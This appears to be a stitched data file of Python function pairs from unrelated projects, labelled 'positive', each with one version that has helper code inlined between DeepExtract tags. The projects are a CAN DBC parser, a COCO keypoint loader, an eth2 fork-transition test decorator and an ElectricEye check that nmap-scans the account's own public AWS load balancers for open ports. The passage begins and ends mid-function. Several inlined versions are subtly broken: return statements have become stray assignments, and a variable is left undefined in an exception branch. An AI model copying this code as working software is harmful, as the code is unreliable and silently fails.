temp_signal = canmatrix.Signal(temp.group(1), start_bit=int(temp.group(3)), size=int(temp.group(4)), is_little_endian=int(temp.group(5)) == 1, is_signed=temp.group(6) == '-', factor=temp.group(7), offset=temp.group(8), min=temp.group(9), max=temp.group(10), unit=temp_raw.group(11).decode(dbc_import_encoding), receivers=receiver, multiplex=multiplex, **extras)
if is_complex_multiplexed:
temp_signal.is_multiplexer = True
temp_signal.multiplex = 'Multiplexor'
if not temp_signal.is_little_endian:
temp_signal.set_startbit(int(temp.group(3)), bitNumbering=1)
frame.add_signal(temp_signal)
if is_complex_multiplexed:
frame.is_complex_multiplexed = True
elif decoded.startswith('BO_TX_BU_ '):
regexp = re.compile('^BO_TX_BU_ ([0-9]+) *: *(.+) *;')
temp = regexp.match(decoded)
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
for ecu_name in temp.group(2).split(','):
frame.add_transmitter(ecu_name)
elif decoded.startswith('CM_ SG_ '):
pattern = '^CM_ +SG_ +(\\w+) +(\\w+) +\\"(.*)\\" *;'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
signal = frame.signal_by_name(temp.group(2))
if signal:
try:
signal.add_comment(temp_raw.group(3).decode(dbc_comment_encoding).replace('\\"', '"'))
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
else:
pattern = '^CM_ +SG_ +(\\w+) +(\\w+) +\\"(.*)'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
signal = frame.signal_by_name(temp.group(2))
try:
comment = temp_raw.group(3).decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
follow_up = _FollowUps.SIGNAL_COMMENT
elif decoded.startswith('CM_ BO_ '):
pattern = '^CM_ +BO_ +(\\w+) +\\"(.*)\\" *;'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
if frame:
try:
frame.add_comment(temp_raw.group(2).decode(dbc_comment_encoding).replace('\\"', '"'))
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
else:
pattern = '^CM_ +BO_ +(\\w+) +\\"(.*)'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
try:
comment = temp_raw.group(2).decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
follow_up = _FollowUps.FRAME_COMMENT
elif decoded.startswith('CM_ BU_ '):
pattern = '^CM_ +BU_ +(\\w+) +\\"(.*)\\" *;'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
board_unit = db.ecu_by_name(temp.group(1))
if board_unit:
try:
board_unit.add_comment(temp_raw.group(2).decode(dbc_comment_encoding).replace('\\"', '"'))
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
else:
pattern = '^CM_ +BU_ +(\\w+) +\\"(.*)'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
board_unit = db.ecu_by_name(temp.group(1))
if board_unit:
try:
comment = temp_raw.group(2).decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
follow_up = _FollowUps.BOARD_UNIT_COMMENT
elif decoded.startswith('BU_:'):
pattern = '^BU_\\:(.*)'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
if temp:
my_temp_list = temp.group(1).split(' ')
for ele in my_temp_list:
if len(ele.strip()) > 1:
db.ecus.append(canmatrix.Ecu(ele))
elif decoded.startswith('VAL_ '):
regexp = re.compile('^VAL_ +(\\w+) +(\\w+) +(.*) *;')
temp = regexp.match(decoded)
if temp:
frame_id = temp.group(1)
signal_name = temp.group(2)
temp_list = list(canmatrix.utils.escape_aware_split(temp.group(3), '"'))
if frame_id.isnumeric():
try:
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(frame_id)))]
except KeyError:
frame = None
sg = frame.signal_by_name(signal_name)
for i in range(math.floor(len(temp_list) / 2)):
val = temp_list[i * 2 + 1]
val = val.replace('\\"', '"')
if sg:
sg.add_values(temp_list[i * 2], val)
except:
logger.error('Error with Line: ' + str(temp_list))
else:
logger.info('Warning: environment variables currently not supported')
elif decoded.startswith('VAL_TABLE_ '):
regexp = re.compile('^VAL_TABLE_ +(\\w+) +(.*) *;')
temp = regexp.match(decoded)
if temp:
table_name = temp.group(1)
temp_list = temp.group(2).split('"')
value_hash = {}
try:
for i in range(math.floor(len(temp_list) / 2)):
val = temp_list[i * 2 + 1]
value_hash[temp_list[i * 2].strip()] = val.strip()
except:
logger.error('Error with Line: ' + str(temp_list))
db.add_value_table(table_name, value_hash)
else:
logger.debug(l)
elif decoded.startswith('BA_DEF_') and decoded[7:].strip()[:3] in ['SG_', 'BO_', 'BU_', 'EV_']:
substring = decoded[7:].strip()
define_type = substring[:3]
substring = substring[3:].strip()
pattern = '^\\"(.+?)\\" +(.+); *'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(substring)
substring_line = l[7:].strip()[3:].strip()
temp_raw = regexp_raw.match(substring_line)
if temp:
if define_type == 'SG_':
db.add_signal_defines(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif define_type == 'BO_':
db.add_frame_defines(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif define_type == 'BU_':
db.add_ecu_defines(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif define_type == 'EV_':
db.add_env_defines(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif decoded.startswith('BA_DEF_ '):
pattern = '^BA_DEF_ +\\"(.+?)\\" +(.+) *;'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
db.add_global_defines(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif decoded.startswith('BA_ '):
regexp = re.compile('^BA_ +\\".+?\\" +(.+)')
tempba = regexp.match(decoded)
if tempba.group(1).strip().startswith('BO_ '):
regexp = re.compile('^BA_ +\\"(.+?)\\" +BO_ +(\\d+) +(.+) *; *')
temp = regexp.match(decoded)
get_frame_by_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(2)))).add_attribute(temp.group(1), temp.group(3))
elif tempba.group(1).strip().startswith('SG_ '):
regexp = re.compile('^BA_ +\\"(.+?)\\" +SG_ +(\\d+) +(\\w+) +(.+) *; *')
temp = regexp.match(decoded)
if temp is not None:
get_frame_by_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(2)))).signal_by_name(temp.group(3)).add_attribute(temp.group(1), temp.group(4))
elif tempba.group(1).strip().startswith('EV_ '):
regexp = re.compile('^BA_ +\\"(.+?)\\" +EV_ +(\\w+) +(.*) *; *')
temp = regexp.match(decoded)
if temp is not None:
db.add_env_attribute(temp.group(2), temp.group(1), temp.group(3))
elif tempba.group(1).strip().startswith('BU_ '):
regexp = re.compile('^BA_ +\\"(.*?)\\" +BU_ +(\\w+) +(.+) *; *')
temp = regexp.match(decoded)
db.ecu_by_name(temp.group(2)).add_attribute(temp.group(1), temp.group(3))
else:
regexp = re.compile('^BA_ +\\"([A-Za-z0-9\\-_]+)\\" +([\\"\\w\\-\\.]+) *; *')
temp = regexp.match(decoded)
if temp:
db.add_attribute(temp.group(1), temp.group(2))
elif decoded.startswith('SIG_GROUP_ '):
regexp = re.compile('^SIG_GROUP_ +(\\w+) +(\\w+) +(\\w+) +\\:(.*) *; *')
temp = regexp.match(decoded)
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
if frame is not None:
signal_array = temp.group(4).split(' ')
frame.add_signal_group(temp.group(2), temp.group(3), signal_array)
elif decoded.startswith('SIG_VALTYPE_ '):
regexp = re.compile('^SIG_VALTYPE_ +(\\w+) +(\\w+)\\s*\\:(.*) *; *')
temp = regexp.match(decoded)
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
if frame:
signal = frame.signal_by_name(temp.group(2))
signal.is_float = True
elif decoded.startswith('BA_DEF_DEF_ '):
pattern = '^BA_DEF_DEF_ +\\"(.+?)\\" +(.+?) *;'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
db.add_define_default(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif decoded.startswith('SG_MUL_VAL_ '):
pattern = '^SG_MUL_VAL_ +([0-9]+) +([\\w\\-]+) +([\\w\\-]+) +(.*) *; *'
regexp = re.compile(pattern)
temp = regexp.match(decoded)
if temp:
frame_id = temp.group(1)
signal_name = temp.group(2)
muxer_for_signal = temp.group(3)
mux_val_groups = temp.group(4).split(',')
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(frame_id)))]
except KeyError:
frame = None
if frame is not None:
signal = frame.signal_by_name(signal_name)
frame.is_complex_multiplexed = True
signal.muxer_for_signal = muxer_for_signal
for muxVal in mux_val_groups:
(mux_val_min, mux_val_max) = muxVal.split('-')
mux_val_min_number = int(mux_val_min)
mux_val_max_number = int(mux_val_max)
signal.mux_val_grp.append([mux_val_min_number, mux_val_max_number])
elif decoded.startswith('EV_ '):
pattern = '^EV_ +([\\w\\-\\_]+?) *\\: +([0-9]+) +\\[([0-9.+\\-eE]+)\\|([0-9.+\\-eE]+)\\] +\\"(.*?)\\" +([0-9.+\\-eE]+) +([0-9.+\\-eE]+) +([\\w\\-]+?) +(.*); *'
regexp = re.compile(pattern)
temp = regexp.match(decoded)
var_name = temp.group(1)
var_type = temp.group(2)
min_value = temp.group(3)
max_value = temp.group(4)
unit = temp.group(5)
initial_value = temp.group(6)
ev_id = temp.group(7)
access_type = temp.group(8)
access_nodes = temp.group(9).split(',')
db.add_env_var(var_name, {'varType': var_type, 'min': min_value, 'max': max_value, 'unit': unit, 'initialValue': initial_value, 'evId': ev_id, 'accessType': access_type, 'accessNodes': access_nodes})
except:
print('error with line no: %d' % i)
print(line)
env_var_names = list(db.env_vars.keys())
for env_var_name in env_var_names:
env_var = db.env_vars[env_var_name]
if 'SystemEnvVarLongSymbol' in env_var.get('attributes', ''):
long_name = env_var['attributes']['SystemEnvVarLongSymbol'][1:-1]
del env_var['attributes']['SystemEnvVarLongSymbol']
db.env_vars[long_name] = db.env_vars.pop(env_var_name)
for ecu in db.ecus:
if ecu.attributes.get('SystemNodeLongSymbol', None) is not None:
ecu.name = ecu.attributes.get('SystemNodeLongSymbol')[1:-1]
ecu.del_attribute('SystemNodeLongSymbol')
for frame in db.frames:
frame.cycle_time = int(float(frame.attributes.get('GenMsgCycleTime', 0)))
if frame.attributes.get('SystemMessageLongSymbol', None) is not None:
frame.name = frame.attributes.get('SystemMessageLongSymbol')[1:-1]
frame.del_attribute('SystemMessageLongSymbol')
frame.update_receiver()
for signal in frame.signals:
if 'GenSigStartValue' in db.signal_defines and db.signal_defines['GenSigStartValue'].defaultValue is not None:
default_value = signal.phys2raw(float_factory(db.signal_defines['GenSigStartValue'].defaultValue))
else:
default_value = signal.phys2raw(None)
gen_sig_start_value = float_factory(signal.attributes.get('GenSigStartValue', default_value))
signal.initial_value = gen_sig_start_value * signal.factor + signal.offset
signal.cycle_time = int(signal.attributes.get('GenSigCycleTime', 0))
if signal.attribute('SystemSignalLongSymbol') is not None:
signal.name = signal.attribute('SystemSignalLongSymbol')[1:-1]
signal.del_attribute('SystemSignalLongSymbol')
for define in db.global_defines:
if db.global_defines[define].type == 'STRING':
if define in db.attributes:
db.attributes[define] = db.attributes[define][1:-1]
for define in db.ecu_defines:
if db.ecu_defines[define].type == 'STRING':
for ecu in db.ecus:
if define in ecu.attributes:
ecu.attributes[define] = ecu.attributes[define][1:-1]
for define in db.frame_defines:
if db.frame_defines[define].type == 'STRING':
for frame in db.frames:
if define in frame.attributes:
frame.attributes[define] = frame.attributes[define][1:-1]
for define in db.signal_defines:
if db.signal_defines[define].type == 'STRING':
for frame in db.frames:
for signal in frame.signals:
if define in signal.attributes:
signal.attributes[define] = signal.attributes[define][1:-1]
db.enum_attribs_to_values()
for frame in db.frames:
if '_FD' in frame.attributes.get('VFrameFormat', ''):
frame.is_fd = True
if 'J1939PG' in frame.attributes.get('VFrameFormat', ''):
frame.is_j1939 = True
db.update_ecu_list()
db.del_ecu('Vector__XXX')
free_signals_dummy_frame = db.frame_by_name('VECTOR__INDEPENDENT_SIG_MSG')
if free_signals_dummy_frame is not None and free_signals_dummy_frame.arbitration_id.id == 1073741824:
db.signals = free_signals_dummy_frame.signals
db.del_frame(free_signals_dummy_frame)
return db
|
canmatrix
|
positive
|
def _load_coco_person_detection_results(self):
all_boxes = None
with open(self.bbox_file, 'r') as f:
all_boxes = json.load(f)
if not all_boxes:
logger.error('=> Load %s fail!' % self.bbox_file)
return None
logger.info('=> Total boxes: {}'.format(len(all_boxes)))
kpt_db = []
num_boxes = 0
for n_img in range(0, len(all_boxes)):
det_res = all_boxes[n_img]
if det_res['category_id'] != 1:
continue
<DeepExtract>
file_name = '%012d.jpg' % det_res['image_id']
if '2014' in self.image_set:
file_name = 'COCO_%s_' % self.image_set + file_name
prefix = 'test2017' if 'test' in self.image_set else self.image_set
data_name = prefix + '.zip@' if self.data_format == 'zip' else prefix
image_path = os.path.join(self.root, 'images', data_name, file_name)
img_name = image_path
</DeepExtract>
box = det_res['bbox']
score = det_res['score']
if score < self.image_thre:
continue
num_boxes = num_boxes + 1
<DeepExtract>
(x, y, w, h) = box[:4]
(center, scale) = self._xywh2cs(x, y, w, h)
</DeepExtract>
joints_3d = np.zeros((self.num_joints, 3), dtype=np.float)
joints_3d_vis = np.ones((self.num_joints, 3), dtype=np.float)
kpt_db.append({'image': img_name, 'center': center, 'scale': scale, 'score': score, 'joints_3d': joints_3d, 'joints_3d_vis': joints_3d_vis})
logger.info('=> Total boxes after fliter low score@{}: {}'.format(self.image_thre, num_boxes))
return kpt_db
|
def _load_coco_person_detection_results(self):
all_boxes = None
with open(self.bbox_file, 'r') as f:
all_boxes = json.load(f)
if not all_boxes:
logger.error('=> Load %s fail!' % self.bbox_file)
return None
logger.info('=> Total boxes: {}'.format(len(all_boxes)))
kpt_db = []
num_boxes = 0
for n_img in range(0, len(all_boxes)):
det_res = all_boxes[n_img]
if det_res['category_id'] != 1:
continue
file_name = '%012d.jpg' % det_res['image_id']
if '2014' in self.image_set:
file_name = 'COCO_%s_' % self.image_set + file_name
prefix = 'test2017' if 'test' in self.image_set else self.image_set
data_name = prefix + '.zip@' if self.data_format == 'zip' else prefix
image_path = os.path.join(self.root, 'images', data_name, file_name)
img_name = image_path
box = det_res['bbox']
score = det_res['score']
if score < self.image_thre:
continue
num_boxes = num_boxes + 1
(x, y, w, h) = box[:4]
(center, scale) = self._xywh2cs(x, y, w, h)
joints_3d = np.zeros((self.num_joints, 3), dtype=np.float)
joints_3d_vis = np.ones((self.num_joints, 3), dtype=np.float)
kpt_db.append({'image': img_name, 'center': center, 'scale': scale, 'score': score, 'joints_3d': joints_3d, 'joints_3d_vis': joints_3d_vis})
logger.info('=> Total boxes after fliter low score@{}: {}'.format(self.image_thre, num_boxes))
return kpt_db
|
AICity
|
positive
|
def with_fork_metas(fork_metas: Sequence[ForkMeta]):
"""
A decorator to construct a "transition" test from one fork to another.
Decorator takes a list of `ForkMeta` and each item defines `pre_fork_name`,
`post_fork_name`, and `fork_epoch`.
Decorator assumes a transition from the `pre_fork_name` fork to the
`post_fork_name` fork. The user can supply a `fork_epoch` at which the
fork occurs or they must compute one (yielding to the generator) during the test
if more custom behavior is desired.
A test using this decorator should expect to receive as parameters:
`state`: the default state constructed for the `pre_fork_name` fork
according to the `with_state` decorator.
`fork_epoch`: the `fork_epoch` provided to this decorator, if given.
`spec`: the version of the eth2 spec corresponding to `pre_fork_name`.
`post_spec`: the version of the eth2 spec corresponding to `post_fork_name`.
`pre_tag`: a function to tag data as belonging to `pre_fork_name` fork.
Used to discriminate data during consumption of the generated spec tests.
`post_tag`: a function to tag data as belonging to `post_fork_name` fork.
Used to discriminate data during consumption of the generated spec tests.
"""
<DeepExtract>
def decorator(fn):
def wrapper(*args, **kw):
phases = kw.pop('phases')
spec = kw['spec']
try:
fork_meta = next(filter(lambda m: m.pre_fork_name == spec.fork, fork_metas))
except StopIteration:
dump_skipping_message(f"doesn't support this fork: {spec.fork}")
post_spec = phases[fork_meta.post_fork_name]
pre_fork_counter = 0
def pre_tag(obj):
nonlocal pre_fork_counter
pre_fork_counter += 1
run_yield_fork_meta = obj
def post_tag(obj):
run_yield_fork_meta = obj
yield ('post_fork', 'meta', fork_meta.post_fork_name)
has_fork_epoch = False
if fork_meta.fork_epoch:
kw['fork_epoch'] = fork_meta.fork_epoch
has_fork_epoch = True
yield ('fork_epoch', 'meta', fork_meta.fork_epoch)
result = fn(*args, post_spec=post_spec, pre_tag=pre_tag, post_tag=post_tag, **kw)
if result is not None:
for part in result:
if part[0] == 'fork_epoch':
has_fork_epoch = True
yield part
assert has_fork_epoch
if pre_fork_counter > 0:
yield ('fork_block', 'meta', pre_fork_counter - 1)
run_yield_fork_meta = wrapper
run_yield_fork_meta = decorator
</DeepExtract>
<DeepExtract>
def decorator(fn):
def wrapper(*args, **kw):
if 'fork_metas' in kw:
fork_metas = kw.pop('fork_metas')
if 'phase' in kw:
phase = kw['phase']
_phases = [phase]
_other_phases = [ALL_FORK_UPGRADES[phase]]
ret = _run_test_case_with_phases(fn, _phases, _other_phases, kw, args, is_fork_transition=True)
else:
for fork_meta in fork_metas:
_phases = [fork_meta.pre_fork_name]
_other_phases = [fork_meta.post_fork_name]
ret = _run_test_case_with_phases(fn, _phases, _other_phases, kw, args, is_fork_transition=True)
else:
ret = _run_test_case_with_phases(fn, ALL_PHASES, other_phases, kw, args)
run_with_phases = ret
run_with_phases = wrapper
run_with_phases = decorator
</DeepExtract>
<DeepExtract>
def decorator(fn):
def wrapper(*args, **kwargs):
run_set_fork_metas = fn(*args, fork_metas=fork_metas, **kwargs)
run_set_fork_metas = wrapper
run_set_fork_metas = decorator
</DeepExtract>
def decorator(fn):
return run_set_fork_metas(run_with_phases(spec_test(with_state(run_yield_fork_meta(fn)))))
return decorator
|
def with_fork_metas(fork_metas: Sequence[ForkMeta]):
"""
A decorator to construct a "transition" test from one fork to another.
Decorator takes a list of `ForkMeta` and each item defines `pre_fork_name`,
`post_fork_name`, and `fork_epoch`.
Decorator assumes a transition from the `pre_fork_name` fork to the
`post_fork_name` fork. The user can supply a `fork_epoch` at which the
fork occurs or they must compute one (yielding to the generator) during the test
if more custom behavior is desired.
A test using this decorator should expect to receive as parameters:
`state`: the default state constructed for the `pre_fork_name` fork
according to the `with_state` decorator.
`fork_epoch`: the `fork_epoch` provided to this decorator, if given.
`spec`: the version of the eth2 spec corresponding to `pre_fork_name`.
`post_spec`: the version of the eth2 spec corresponding to `post_fork_name`.
`pre_tag`: a function to tag data as belonging to `pre_fork_name` fork.
Used to discriminate data during consumption of the generated spec tests.
`post_tag`: a function to tag data as belonging to `post_fork_name` fork.
Used to discriminate data during consumption of the generated spec tests.
"""
def decorator(fn):
def wrapper(*args, **kw):
phases = kw.pop('phases')
spec = kw['spec']
try:
fork_meta = next(filter(lambda m: m.pre_fork_name == spec.fork, fork_metas))
except StopIteration:
dump_skipping_message(f"doesn't support this fork: {spec.fork}")
post_spec = phases[fork_meta.post_fork_name]
pre_fork_counter = 0
def pre_tag(obj):
nonlocal pre_fork_counter
pre_fork_counter += 1
run_yield_fork_meta = obj
def post_tag(obj):
run_yield_fork_meta = obj
yield ('post_fork', 'meta', fork_meta.post_fork_name)
has_fork_epoch = False
if fork_meta.fork_epoch:
kw['fork_epoch'] = fork_meta.fork_epoch
has_fork_epoch = True
yield ('fork_epoch', 'meta', fork_meta.fork_epoch)
result = fn(*args, post_spec=post_spec, pre_tag=pre_tag, post_tag=post_tag, **kw)
if result is not None:
for part in result:
if part[0] == 'fork_epoch':
has_fork_epoch = True
yield part
assert has_fork_epoch
if pre_fork_counter > 0:
yield ('fork_block', 'meta', pre_fork_counter - 1)
run_yield_fork_meta = wrapper
run_yield_fork_meta = decorator
def decorator(fn):
def wrapper(*args, **kw):
if 'fork_metas' in kw:
fork_metas = kw.pop('fork_metas')
if 'phase' in kw:
phase = kw['phase']
_phases = [phase]
_other_phases = [ALL_FORK_UPGRADES[phase]]
ret = _run_test_case_with_phases(fn, _phases, _other_phases, kw, args, is_fork_transition=True)
else:
for fork_meta in fork_metas:
_phases = [fork_meta.pre_fork_name]
_other_phases = [fork_meta.post_fork_name]
ret = _run_test_case_with_phases(fn, _phases, _other_phases, kw, args, is_fork_transition=True)
else:
ret = _run_test_case_with_phases(fn, ALL_PHASES, other_phases, kw, args)
run_with_phases = ret
run_with_phases = wrapper
run_with_phases = decorator
def decorator(fn):
def wrapper(*args, **kwargs):
run_set_fork_metas = fn(*args, fork_metas=fork_metas, **kwargs)
run_set_fork_metas = wrapper
run_set_fork_metas = decorator
def decorator(fn):
return run_set_fork_metas(run_with_phases(spec_test(with_state(run_yield_fork_meta(fn)))))
return decorator
|
eth2.0-specs
|
positive
|
@registry.register_check('elbv2')
def elbv2_attack_surface_open_tcp_port_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:
"""[AttackSurface.ELBv2.{checkIdNumber}] Application Load Balancers should not be publicly reachable on {serviceName}"""
iso8601Time = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()
for lb in describe_load_balancers(cache)['LoadBalancers']:
elbv2Arn = str(lb['LoadBalancerArn'])
elbv2Name = str(lb['LoadBalancerName'])
elbv2DnsName = str(lb['DNSName'])
elbv2LbType = str(lb['Type'])
elbv2Scheme = str(lb['Scheme'])
elbv2VpcId = str(lb['VpcId'])
elbv2IpAddressType = str(lb['IpAddressType'])
if elbv2Scheme == 'internet-facing' and elbv2LbType == 'application':
<DeepExtract>
try:
results = nmap.nmap_tcp_scan(elbv2DnsName, args='-Pn -p 21,22,23,25,80,110,139,445,3389,1433,3306,2049,2375,1521,5432,5601,8182,8080,8089,10250,6379,9092,27017,5672,4040')
print(f"Scanning {'Application load balancer'} {elbv2Name} on {elbv2DnsName}")
scanner = results
except KeyError:
results = None
</DeepExtract>
if scanner == None:
continue
else:
keys = scanner.keys()
hostIp = list(keys)[0]
for (index, p) in enumerate(scanner[hostIp]['ports']):
checkIdNumber = str(int(index + 1))
portNumber = int(p['portid'])
if portNumber == 8089:
serviceName = 'SPLUNKD'
elif portNumber == 10250:
serviceName = 'KUBERNETES-API'
elif portNumber == 5672:
serviceName = 'RABBITMQ'
elif portNumber == 4040:
serviceName = 'SPARK-WEBUI'
else:
serviceName = str(p['service']['name']).upper()
serviceStateReason = str(p['reason'])
serviceState = str(p['state'])
if serviceState == 'open':
finding = {'SchemaVersion': '2018-10-08', 'Id': f'{elbv2Arn}/attack-surface-elbv2-open-{serviceName}-check', 'ProductArn': f'arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default', 'GeneratorId': elbv2Arn, 'AwsAccountId': awsAccountId, 'Types': ['Software and Configuration Checks/AWS Security Best Practices/Network Reachability', 'TTPs/Discovery'], 'FirstObservedAt': iso8601Time, 'CreatedAt': iso8601Time, 'UpdatedAt': iso8601Time, 'Severity': {'Label': 'HIGH'}, 'Confidence': 99, 'Title': f'[AttackSurface.ELBv2.{checkIdNumber}] Application Load Balancers should not be publicly reachable on {serviceName}', 'Description': f'Application load balancer {elbv2Name} is publicly reachable on port {portNumber} which corresponds to the {serviceName} service. When Services are successfully fingerprinted by the ElectricEye Attack Surface Management Auditor it means the instance is Public, has an open Secuirty Group rule, and a running service on the host which adversaries can also see. Refer to the remediation insturctions for an example of a way to secure EC2 instances.', 'Remediation': {'Recommendation': {'Text': 'For more information on ALB security group reccomendations refer to the Security groups for your Application Load Balancer section of the Application Load Balancers User Guide.', 'Url': 'https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-update-security-groups.html#security-group-recommended-rules'}}, 'ProductFields': {'Product Name': 'ElectricEye'}, 'Resources': [{'Type': 'AwsElbv2LoadBalancer', 'Id': elbv2Arn, 'Partition': awsPartition, 'Region': awsRegion, 'Details': {'AwsElbv2LoadBalancer': {'DNSName': elbv2DnsName, 'IpAddressType': elbv2IpAddressType, 'Scheme': elbv2Scheme, 'Type': elbv2LbType, 'VpcId': elbv2VpcId}}}], 'Compliance': {'Status': 'FAILED', 'RelatedRequirements': ['NIST CSF PR.AC-3', 'NIST SP 800-53 AC-1', 'NIST SP 800-53 AC-17', 'NIST SP 800-53 AC-19', 'NIST SP 800-53 AC-20', 'NIST SP 800-53 SC-15', 'AICPA TSC CC6.6', 'ISO 27001:2013 A.6.2.1', 'ISO 27001:2013 A.6.2.2', 'ISO 27001:2013 A.11.2.6', 'ISO 27001:2013 A.13.1.1', 'ISO 27001:2013 A.13.2.1', 'MITRE ATT&CK T1040', 'MITRE ATT&CK T1046', 'MITRE ATT&CK T1580', 'MITRE ATT&CK T1590', 'MITRE ATT&CK T1592', 'MITRE ATT&CK T1595']}, 'Workflow': {'Status': 'NEW'}, 'RecordState': 'ACTIVE'}
yield finding
else:
finding = {'SchemaVersion': '2018-10-08', 'Id': f'{elbv2Arn}/attack-surface-elbv2-open-{serviceName}-check', 'ProductArn': f'arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default', 'GeneratorId': elbv2Arn, 'AwsAccountId': awsAccountId, 'Types': ['Software and Configuration Checks/AWS Security Best Practices/Network Reachability', 'TTPs/Discovery'], 'FirstObservedAt': iso8601Time, 'CreatedAt': iso8601Time, 'UpdatedAt': iso8601Time, 'Severity': {'Label': 'INFORMATIONAL'}, 'Confidence': 99, 'Title': f'[AttackSurface.ELBv2.{checkIdNumber}] Application Load Balancers should not be publicly reachable on {serviceName}', 'Description': f'Application load balancer {elbv2Name} is not publicly reachable on port {portNumber} which corresponds to the {serviceName} service due to {serviceStateReason}. ALBs and their respective Security Groups should still be reviewed for minimum necessary access.', 'Remediation': {'Recommendation': {'Text': 'For more information on ALB security group reccomendations refer to the Security groups for your Application Load Balancer section of the Application Load Balancers User Guide.', 'Url': 'https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-update-security-groups.html#security-group-recommended-rules'}}, 'ProductFields': {'Product Name': 'ElectricEye'}, 'Resources': [{'Type': 'AwsElbv2LoadBalancer', 'Id': elbv2Arn, 'Partition': awsPartition, 'Region': awsRegion, 'Details': {'AwsElbv2LoadBalancer': {'DNSName': elbv2DnsName, 'IpAddressType': elbv2IpAddressType, 'Scheme': elbv2Scheme, 'Type': elbv2LbType, 'VpcId': elbv2VpcId}}}], 'Compliance': {'Status': 'PASSED', 'RelatedRequirements': ['NIST CSF PR.AC-3', 'NIST SP 800-53 AC-1', 'NIST SP 800-53 AC-17', 'NIST SP 800-53 AC-19', 'NIST SP 800-53 AC-20', 'NIST SP 800-53 SC-15', 'AICPA TSC CC6.6', 'ISO 27001:2013 A.6.2.1', 'ISO 27001:2013 A.6.2.2', 'ISO 27001:2013 A.11.2.6', 'ISO 27001:2013 A.13.1.1', 'ISO 27001:2013 A.13.2.1', 'MITRE ATT&CK T1040', 'MITRE ATT&CK T1046', 'MITRE ATT&CK T1580', 'MITRE ATT&CK T1590', 'MITRE ATT&CK T1592', 'MITRE ATT&CK T1595']}, 'Workflow': {'Status': 'RESOLVED'}, 'RecordState': 'ARCHIVED'}
yield finding
else:
continue
|
@registry.register_check('elbv2')
def elbv2_attack_surface_open_tcp_port_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:
"""[AttackSurface.ELBv2.{checkIdNumber}] Application Load Balancers should not be publicly reachable on {serviceName}"""
iso8601Time = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()
for lb in describe_load_balancers(cache)['LoadBalancers']:
elbv2Arn = str(lb['LoadBalancerArn'])
elbv2Name = str(lb['LoadBalancerName'])
elbv2DnsName = str(lb['DNSName'])
elbv2LbType = str(lb['Type'])
elbv2Scheme = str(lb['Scheme'])
elbv2VpcId = str(lb['VpcId'])
elbv2IpAddressType = str(lb['IpAddressType'])
if elbv2Scheme == 'internet-facing' and elbv2LbType == 'application':
try:
